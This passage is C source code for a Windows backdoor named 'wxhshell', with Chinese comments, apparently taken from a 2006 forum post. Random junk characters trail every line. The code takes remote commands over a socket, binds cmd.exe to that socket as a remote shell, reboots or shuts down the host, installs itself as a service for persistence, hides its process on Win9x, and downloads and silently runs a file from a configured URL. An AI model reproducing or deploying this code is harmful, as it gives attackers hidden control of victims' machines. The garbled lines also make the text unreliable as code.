  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #%g~fh  
  else J#y?^Qm$)<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t#h<'?\E  
  } e/h7x\Z  
  else { id.W"5+  
C&ivjFf  
    switch(cmd[0]) { k6 f;A  
  #/9(^6f:  
  // 帮助 '3@WF2a  
  case '?': { ?$^qcpJCp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~f2zMTI|  
    break; S,,3h0$X  
  } S:"t]gbF =  
  // 安装 HSOdqjR*  
  case 'i': { ^50/.Z >  
    if(Install()) oa?eK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Fh*8a}?b  
    else Wwf#PcC]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hexq]'R  
    break; :*!u\lV\  
    } VBssn]w  
  // 卸载 c])b?dJ*  
  case 'r': { %d9UWQ  
    if(Uninstall()) sy` : wp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GJItGq`)  
    else Xze   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aM9St!i  
    break; 1h+!<c q  
    } |Tz4xTK  
  // 显示 wxhshell 所在路径 v}]x>f  
  case 'p': { L/GM~*Xp(O  
    char svExeFile[MAX_PATH]; HJ5m5':a  
    strcpy(svExeFile,"\n\r"); t{>66jm\R  
      strcat(svExeFile,ExeFile); W &4`eB/4}  
        send(wsh,svExeFile,strlen(svExeFile),0);  #~.i\|VL  
    break; "=<l Pi  
    } G6eC.vU]j  
  // 重启 Prhq ~oI4  
  case 'b': { -& kQlr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vrz!.X~  
    if(Boot(REBOOT)) &bj :,$@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;?2vW8{p<  
    else { ?/)5U}*M0T  
    closesocket(wsh); _'H<zZo  
    ExitThread(0); i:kWO7aP  
    } %TG$5' )0  
    break; s80_e  
    } n/?5[O-D]  
  // 关机 %T6#c7U_  
  case 'd': { L238l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !qcu-d5b  
    if(Boot(SHUTDOWN)) !icpfxOpjQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kFM'?L&  
    else { sp**Sg)  
    closesocket(wsh); kM3BP& 3m1  
    ExitThread(0); B@zJ\Ir[  
    } C3@.75-E  
    break; d<7J)zUm3  
    } &ApJ'uC  
  // 获取shell 2 J4|7UwJ  
  case 's': { FYcMvY  
    CmdShell(wsh); 6>=>Yj  
    closesocket(wsh); ;7`<.y  
    ExitThread(0); Xb^\{s?b  
    break; w ^<Y5K  
  } !W%HAlUAG[  
  // 退出 q<yH!  
  case 'x': { 0dcXgP  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <Z m ,q}  
    CloseIt(wsh); [V)sCAW  
    break; (FjgnsW  
    } @i{JqHU"  
  // 离开 |O4A+S  
  case 'q': { [BQw$8 +n_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6ZG)`u".("  
    closesocket(wsh); qz0v1057#  
    WSACleanup(); /2@%:b)  
    exit(1); g Go  
    break; :):Y6)giBD  
        } +1)C&:  
  } l#~Fe D  
  } Vw{Ys6q  
T?\CAk>  
  // 提示信息 7%E1F)%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :>X7(&j8  
} DYWC]*  
  } O h" ^  
^TEODKS  
  return; Vd?v"2S(9  
} .d "+M{I  
fiZv+R<x1  
// shell模块句柄 ^z^>]Qd  
int CmdShell(SOCKET sock) }=|ZEhtOp  
{ 0&.lSwa  
STARTUPINFO si; c}QJ-I   
ZeroMemory(&si,sizeof(si)); NZTYT\7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ltrSTH,kL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t3GK{X  
PROCESS_INFORMATION ProcessInfo; +E [bLz^  
char cmdline[]="cmd"; 7P`1)juA9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +z D'r5  
  return 0; f oVD+\~Y  
} ;:|KfXiC8  
dI !/:x  
// 自身启动模式 6J 5)4^bk  
int StartFromService(void) +wUhB\F *  
{ -$)Et|  
typedef struct "<2b jy  
{ vQ/\BN  
  DWORD ExitStatus; .zAafi0  
  DWORD PebBaseAddress; (7b_g6>:  
  DWORD AffinityMask; d8kwW!m+  
  DWORD BasePriority; 668bJ.M\O  
  ULONG UniqueProcessId; 1Q J$yr  
  ULONG InheritedFromUniqueProcessId; 7S2F^,w  
}   PROCESS_BASIC_INFORMATION; =Yj[MVn  
CCY|FK  
PROCNTQSIP NtQueryInformationProcess; jp^WsHI3  
GF!{SO4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t lERis  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J\so8uT:  
DP_Pqn8p&M  
  HANDLE             hProcess; Hm* vKFhz  
  PROCESS_BASIC_INFORMATION pbi; $M`;."  
0:Y`#0qK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H27Oq8  
  if(NULL == hInst ) return 0; mF}k}0  
];d:z[\P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B ^(rUR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :3>yr5a7-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pmyM&'#Id  
^X;Xti  
  if (!NtQueryInformationProcess) return 0; HCIF9{o1j>  
!;*2*WuO;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9BD|uU;0  
  if(!hProcess) return 0; ]A]E)*  
$ XsQ e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *z"1MU  
~}0hN]*G  
  CloseHandle(hProcess); f5GR#3-h(  
f5b`gvCY,#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0*;9CH=BE  
if(hProcess==NULL) return 0; '+I 2$xE  
,L{o, qzC  
HMODULE hMod; 06@0r  
char procName[255]; /N]Ow  
unsigned long cbNeeded; uP=_-ZUW  
~<aeA'>OA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /9+A97{  
y[WYH5 &DJ  
  CloseHandle(hProcess); ROt0<^<  
K@ sP~('  
if(strstr(procName,"services")) return 1; // 以服务启动 K aQq[a  
~:}XVt0%8  
  return 0; // 注册表启动 /-K dCp~  
} x\bRj>%(  
uU ?37V  
// 主模块 9Oo*8wvGG  
int StartWxhshell(LPSTR lpCmdLine) v*'iWHCl,  
{ LB*#  
  SOCKET wsl; mf;^b.mKh  
BOOL val=TRUE; `^bvj]>l  
  int port=0; C|d!'"p  
  struct sockaddr_in door; X\^& nLa  
aC8,Y$>?E`  
  if(wscfg.ws_autoins) Install(); e7bT%h9i  
i3 l #~  
port=atoi(lpCmdLine); ^Q)gsJY|I  
@Uj _+c q  
if(port<=0) port=wscfg.ws_port; qtwT#z;Y  
&v auLp  
  WSADATA data; f0mH|tI`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '^F|k`$r  
]~ #+ b>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K* _{Rs0P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @1/}-.(n  
  door.sin_family = AF_INET; S1az3VJI\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S QM(8*:X  
  door.sin_port = htons(port); (w#slTFT  
6N %L8Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {glqWFT  
closesocket(wsl); 6& &}P79  
return 1; p-i.ITRS  
} Oa.f~|  
Vyq#p9Q  
  if(listen(wsl,2) == INVALID_SOCKET) { ]w_  
closesocket(wsl); oc3dd"8}@  
return 1; u>t|X}JH  
} PzMlua  
  Wxhshell(wsl); 0279g   
  WSACleanup(); <*A|pns  
M|[@znzR<  
return 0; o8};e  
Fi?32e4KI5  
} C>Omng1>^  
+3/k/W  
// 以NT服务方式启动 oeu|/\+HW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y~== waZw  
{ {?@t/.4[W3  
DWORD   status = 0; ;T5,T   
  DWORD   specificError = 0xfffffff; O?nPxa<  
KdOh'OrT9.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; KrdZEi vb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ih+*T1#:(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %k3NT~  
  serviceStatus.dwWin32ExitCode     = 0; /-!&k  
  serviceStatus.dwServiceSpecificExitCode = 0; z`emKFbv  
  serviceStatus.dwCheckPoint       = 0; OYszW]UMg  
  serviceStatus.dwWaitHint       = 0; 3~[`[4n^  
d]O_E4X*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i ll-%OPeg  
  if (hServiceStatusHandle==0) return; "8wf.nZ  
0On? {Bw  
status = GetLastError(); @9}),hl`  
  if (status!=NO_ERROR) RLYU\@kK?  
{ w?]ZU-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E;6Y? vJ  
    serviceStatus.dwCheckPoint       = 0; lv<iJH\  
    serviceStatus.dwWaitHint       = 0; 0[n c7)sW  
    serviceStatus.dwWin32ExitCode     = status; T[5gom  
    serviceStatus.dwServiceSpecificExitCode = specificError; 55 S\&Ad$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y-w2O]  
    return; V,>+G6e  
  } {l&Ltruhz  
Ys"|</;dbj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vKcl6bVT  
  serviceStatus.dwCheckPoint       = 0; eV[`P&j_C  
  serviceStatus.dwWaitHint       = 0; ! (2-(LgA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ES^>[2Y  
} RL?u n}Qa  
mgi,b2  
// 处理NT服务事件,比如:启动、停止 I#"t'=9H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "KMLk  
{ ,\BVV,  
switch(fdwControl) YS]>_  
{ G 6Wx3~  
case SERVICE_CONTROL_STOP: Cw 1 9y  
  serviceStatus.dwWin32ExitCode = 0; BX@pt;$ek7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m!rwG(  
  serviceStatus.dwCheckPoint   = 0; 3^!Hl8P7  
  serviceStatus.dwWaitHint     = 0; .CVUEK@Z4  
  { Up<~0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "Kyifw?  
  } VBu8}}Ql  
  return; z )5S^{(  
case SERVICE_CONTROL_PAUSE: wb]*u7G t/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aGpCNc{+  
  break;  KR&s?  
case SERVICE_CONTROL_CONTINUE: ?3`q+[:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3>i>@n_  
  break; ;4!=DFbU  
case SERVICE_CONTROL_INTERROGATE: }c} ( 5  
  break; Yx6hA#7I  
}; ]\OWZ{T'j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W@l+ciZ_  
} 3@&bxYXm  
o>2e !7  
// 标准应用程序主函数 c\M#5+1j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6^Ph '  
{ {]=v]O |,  
IQT cYl  
// 获取操作系统版本 3=Z<wD s  
OsIsNt=GetOsVer(); {] O`g G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,:^ N[b   
x Y| yI>  
  // 从命令行安装 x ;Gz6|  
  if(strpbrk(lpCmdLine,"iI")) Install(); IeVLn^?+:  
JL.5QzA  
  // 下载执行文件 xS"$g9o0  
if(wscfg.ws_downexe) { 5|{)Z]M%9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !L77y^oV  
  WinExec(wscfg.ws_filenam,SW_HIDE); )7W6-.d  
} ]pWP?Ws  
&} ,*\Oj  
if(!OsIsNt) { opdu=i=E  
// 如果时win9x,隐藏进程并且设置为注册表启动 !6Q`>s]  
HideProc(); rnu e(t  
StartWxhshell(lpCmdLine); k_!+V`Ro#  
} ~wTX >qV  
else I0DM=V>;  
  if(StartFromService()) ` K w7"  
  // 以服务方式启动 Y~az!8j;Z  
  StartServiceCtrlDispatcher(DispatchTable); kBbl+1{H  
else }&1Iyb  
  // 普通方式启动 *wwhZe4V  
  StartWxhshell(lpCmdLine); y?>#t^  
27>a#vCT  
return 0; co/7lsW  
}
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只看该作者 1 发表于: 2006-10-10
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